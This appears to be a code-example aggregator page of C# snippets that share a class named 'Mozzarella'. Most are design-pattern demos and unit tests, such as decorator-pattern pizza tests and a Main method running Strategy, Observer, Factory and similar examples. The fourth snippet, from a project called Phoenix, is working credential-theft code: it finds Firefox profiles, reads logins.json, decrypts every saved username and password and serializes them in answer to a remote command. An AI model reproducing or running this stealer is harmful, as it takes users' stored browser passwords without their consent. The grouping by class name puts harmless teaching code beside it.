예제 #1
0
        public void Decorator_PizzaWithCheeseIngredientsAndCostWorks_IsCorrect()
        {
            IPizza basicPizza = new Mozzarella(new PlainPizza());

            Assert.AreEqual("Thin Dough, Mozzarella", basicPizza.GetDescription());
            Assert.AreEqual(4.5, basicPizza.GetCost());
        }
예제 #2
0
        public void Decorator_PizzaWithAllToppingsIngredientsAndCostWorks_IsCorrect()
        {
            IPizza basicPizza = new Mozzarella(new TomatoSauce(new PlainPizza()));

            Assert.AreEqual("Thin Dough, Tomato Sauce, Mozzarella", basicPizza.GetDescription());
            Assert.AreEqual(4.85, basicPizza.GetCost());
        }
예제 #3
0
        public void Decorator_PizzaWithAllToppingsProcessOutputWorks_IsCorrect()
        {
            using (ConsoleOutput consoleOutput = new ConsoleOutput())
            {
                IPizza basicPizza = new Mozzarella(new TomatoSauce(new PlainPizza()));

                string expectedConsoleOutput = "Adding Dough\nAdding Sauce\nAdding Moz\n";

                Assert.AreEqual(expectedConsoleOutput, consoleOutput.GetOuput(false));
            }
        }
예제 #4
0
파일: SystemInfo.cs 프로젝트: ext0/Phoenix
        public static byte[] accessFirefoxData(Command command)
        {
            try
            {
                String appDataRoaming = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

                if (Directory.Exists(appDataRoaming))
                {
                    String built = Path.Combine(appDataRoaming, "Mozilla", "Firefox", "Profiles");
                    if (Directory.Exists(built))
                    {
                        DirectoryInfo[] profiles = new DirectoryInfo(built).GetDirectories();
                        foreach (DirectoryInfo directory in profiles)
                        {
                            if (directory.GetFiles().Select((x) => (x.Name)).Contains("logins.json"))
                            {
                                DirectoryInfo installPath = new DirectoryInfo(Path.Combine(Path.GetPathRoot(Environment.SystemDirectory), "Program Files (x86)", "Mozilla Firefox"));
                                Mozzarella.InitializeDelegates(directory, installPath);
                                String           full      = Path.Combine(directory.FullName, "logins.json");
                                String           data      = File.ReadAllText(full);
                                FirefoxLoginData loginData = Util.Serialization.deserializeJson <FirefoxLoginData>(data);
                                foreach (FirefoxLoginEntry entry in loginData.logins)
                                {
                                    entry.encryptedUsername = Mozzarella.decrypt(entry.encryptedUsername);
                                    entry.encryptedPassword = Mozzarella.decrypt(entry.encryptedPassword);
                                }
                                return(Util.Serialization.serialize(loginData.logins));
                            }
                        }
                    }
                }
            }
            catch
            {
                return(new byte[] { });
            }
            return(new byte[] { });
        }
예제 #5
0
        static void Main(string[] args)
        {
            #region Strategy
            Console.WriteLine("------------Strategy------------------");
            Console.WriteLine("\r\n ------Strategy Test");
            {
                CashNormal cn = new CashNormal();
                Context    ct = new Context(cn);
                ct.PayAmount(100);

                CashDiscount cd = new CashDiscount(0.1);
                ct = new Context(cd);
                ct.PayAmount(100);

                CashReturn cr = new CashReturn(300, 100);
                ct = new Context(cr);
                ct.PayAmount(400);
            }
            #endregion

            #region Observer
            Console.WriteLine("------------Observer------------------");
            Console.WriteLine("\r\n ------Observer Test");
            SydneyStock   ss  = new SydneyStock();
            StockObserver ob1 = new StockObserver();
            ss.Register(ob1);
            ss.Notify(100);
            ss.Register(new StockObserver());
            ss.Notify(200);
            ss.Unregister(ob1);
            ss.Notify(300);
            #endregion

            #region Factory
            Console.WriteLine("------------Factory------------------");
            Console.WriteLine("\r\n ------Factory Test");
            WarshipFactory wf = new WarshipFactory();
            String         s  = "A";
            Warship        ws = wf.GetWarship(s);
            if (ws != null)
            {
                ws.Fight();
            }

            s  = "B";
            ws = wf.GetWarship(s);
            if (ws != null)
            {
                ws.Fight();
            }
            #endregion

            #region Abstract Factory
            Console.WriteLine("------------Abstract Factory------------------");
            Console.WriteLine("\r\n ------Abstract Factory Test");
            IRestaurant ir = new ChineseRestaurant();
            IVegetable  iv = ir.CookVegetable();
            iv.Display();
            IMeat im = ir.CookMeat();
            im.Display();

            ir = new AustralianRestaurant();
            iv = ir.CookVegetable();
            iv.Display();
            im = ir.CookMeat();
            im.Display();
            #endregion

            #region Singleton
            Console.WriteLine("------------Singleton------------------");
            Console.WriteLine("\r\n ------Singleton Test");
            MySingleton ms1 = MySingleton.GetInstance();
            MySingleton ms2 = MySingleton.GetInstance();
            if (ms1 == ms2)
            {
                Console.WriteLine("Same Instance of Singleton");
            }
            #endregion

            #region Builder
            Console.WriteLine("------------Builder------------------");
            Console.WriteLine("\r\n ------Builder Test");
            {
                IPersonBuilder        pb  = new FatPersonBuilder();
                PersonBuilderDirector pbd = new PersonBuilderDirector(pb);
                pbd.BuildPerson();
                pbd = new PersonBuilderDirector(new ThinPersonBuilder());
                pbd.BuildPerson();
            }
            #endregion

            #region AdvanceBuilder
            Console.WriteLine("\r\n ------AdvanceBuilder Test");
            {
                PersonBuilderDirectorBase pbd = new PersonBuilderDirector1();
                pbd.SetPersonBuilder(new FatPersonBuilder());
                pbd.BuildPerson();
                pbd.SetPersonBuilder(new ThinPersonBuilder());
                pbd.BuildPerson();
                Console.WriteLine();
                pbd = new PersonBuilderDirector2();
                pbd.SetPersonBuilder(new FatPersonBuilder());
                pbd.BuildPerson();
                pbd.SetPersonBuilder(new ThinPersonBuilder());
                pbd.BuildPerson();
            }
            #endregion

            #region Prototype
            Console.WriteLine("------------Prototype------------------");
            Resume r1 = new Resume();
            r1.id   = 1;
            r1.Name = "P1";
            r1.Experience.Company = "C1";
            Console.WriteLine(r1);
            Resume r2 = (Resume)r1.Clone();
            r2.id   = 2;
            r2.Name = "P2";
            r2.Experience.Company = "C2";
            Console.WriteLine(r2);
            #endregion

            #region Decorator
            Console.WriteLine("------------Decorator------------------");
            Pizza        pp = new PlainPizza();
            ToppingPizza tp = new Mozzarella(pp);
            ToppingPizza ts = new TomatoSauce(tp);
            ts.GetDescription();

            #endregion

            #region Command
            Console.WriteLine("------------Command------------------");
            Cook            barbecuerCook    = new BarbecuerCook();
            Cook            fryDishCook      = new FryDishCook();
            Command.Command barbecuerCommand = new BarbecuerCommand(barbecuerCook);
            Command.Command fryDishCommand   = new FryDishCommand(fryDishCook);

            Waiter waiter = new Waiter();
            waiter.AddCommand(barbecuerCommand);
            waiter.AddCommand(fryDishCommand);
            waiter.Notify();

            #endregion

            #region Adapter
            Console.WriteLine("------------Adapter------------------");
            BasketballPlayer        bp1 = new Forward();
            BasketballPlayer        bp2 = new Guard();
            ChineseCenter           cc  = new ChineseCenter();
            BasketballPlayer        bp3 = new CenterInterPreter(cc);
            List <BasketballPlayer> bps = new List <BasketballPlayer>();
            bps.Add(bp1);
            bps.Add(bp2);
            bps.Add(bp3);
            foreach (var item in bps)
            {
                item.Attack();
                item.Defense();
            }
            #endregion

            #region Facade
            Console.WriteLine("------------Facade------------------");
            FundFacade ff = new FundFacade();
            ff.Buy();
            ff.Sell();
            #endregion


            #region Bridge
            {
                Console.WriteLine("------------Bridge---------------------");
                IProtocol     udp = new Bridge.Udp();
                IProtocol     tcp = new Bridge.Tcp();
                Communication c   = new Communication();
                c.SetProtocol(udp);
                c.Work();
                c.SetProtocol(tcp);
                c.Work();
            }
            #endregion

            #region Template
            {
                Console.WriteLine("------------Template-----------------------");
                MediaProtocol tcp = new Template.Tcp();
                tcp.Work();
                MediaProtocol udp = new Template.Udp();
                udp.Work();
            }

            #endregion

            #region Composite
            {
                Console.WriteLine("------------Composite-----------------------");
                FileComponent First = new FileFolder()
                {
                    Name = "C"
                };
                FileComponent second1 = new FileFolder()
                {
                    Name = "-Folder1"
                };
                FileComponent second2 = new File()
                {
                    Name = "-File2"
                };
                FileComponent second1_1 = new File()
                {
                    Name = "--File1_1"
                };
                second1.Add(second1_1);
                First.Add(second1);
                First.Add(second2);
                First.Display();
            }
            #endregion

            Console.ReadLine();
        }